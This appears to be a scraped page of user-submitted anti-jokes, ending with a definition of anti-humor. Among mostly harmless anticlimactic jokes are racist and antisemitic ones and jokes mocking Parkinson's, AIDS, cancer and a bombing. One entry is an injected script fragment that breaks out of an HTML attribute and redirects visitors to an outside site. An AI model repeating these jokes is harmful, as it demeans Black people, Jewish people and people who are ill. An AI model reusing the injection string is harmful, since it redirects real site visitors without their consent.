If little jimmy has five candy bars and he eats three, what does little jimmy have? Diabetes

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knock knock, who's there me me who he opens the door a kills yo

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How did the baby cross the road? It was stapled to the chicken

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Q: Why did the boy fall off his bicycle? A: Because someone threw a fridge at him.

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"Knock knock" "Who's there?" "Fairy floss" "Fairy floss who?" "I'm sugar coating your Cancer diagnoses"

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Why couldnt the man stop dancing? He had Parkinson's.

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pretty soon we'll all be dead

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Why is six afraid of seven? Six isn't actually afraid of seven. It is true that seven devoured nine's carcass, but one has to understand that cannibalism is not a taboo in their culture. In the world of cardinal numbers, protein is precious and leaving corpses to rot is dangerously unsanitary. You should not judge them by the standards of human society. It's ignorant and offensive.

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A student goes up to the teacher because he has to go to the washroom. The teacher tells him that he has to sing the ABC's before he can go. So the boy sings, "ABCDEFGHIJKLMNOPQRSTUVWXYZ." The teacher said he did a perfect job and could go to the washroom. The boy went on to become a billionaire. Congrats!

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Whats funnier than a black man? A black president

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What makes the turtle move? It's legs.

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9-11 please state your emergency. My house is flooding! Dad, youre in the swimming pool.

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What did Batman say to Robin before he got in the Batmobile? Get in the Batmobile.

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The man goes to the doctor after just losing his job because his company went under because of the econmic crisis. His house is being foreclosed because without the money from his job he can't afford to pay for his house. His girlfriend also just left him because of recent conflicts about money and she was looking forward to having a family and with him jobless it was just out of the question. Man:"Doctor I could really use some good news" Doctor:"You have aids"

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What is the difference between a pizza and a Jew?

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Technically rainbows are white.....and have gold at the end.

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wat does T.J.C.S. Mean? leave an comment to answer

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"'>document.location.href="http://cramik.org"

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Why did the chicken cross the road? To get to the gay boys house. Knock knock! whose there? The chicken!!

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Why was the boy crying? Because he was told he would never find a wife

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Look down at your keyboard. Notice that U and I are together? <3 Also notice that J and K are together too!:P

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There's 2 black guys in a car. Who's driving. Probably one of the 2 men.

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Where was sally during the bombing? Everywhere!

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How can you tell the difference between a black guy and a white guy? skin color

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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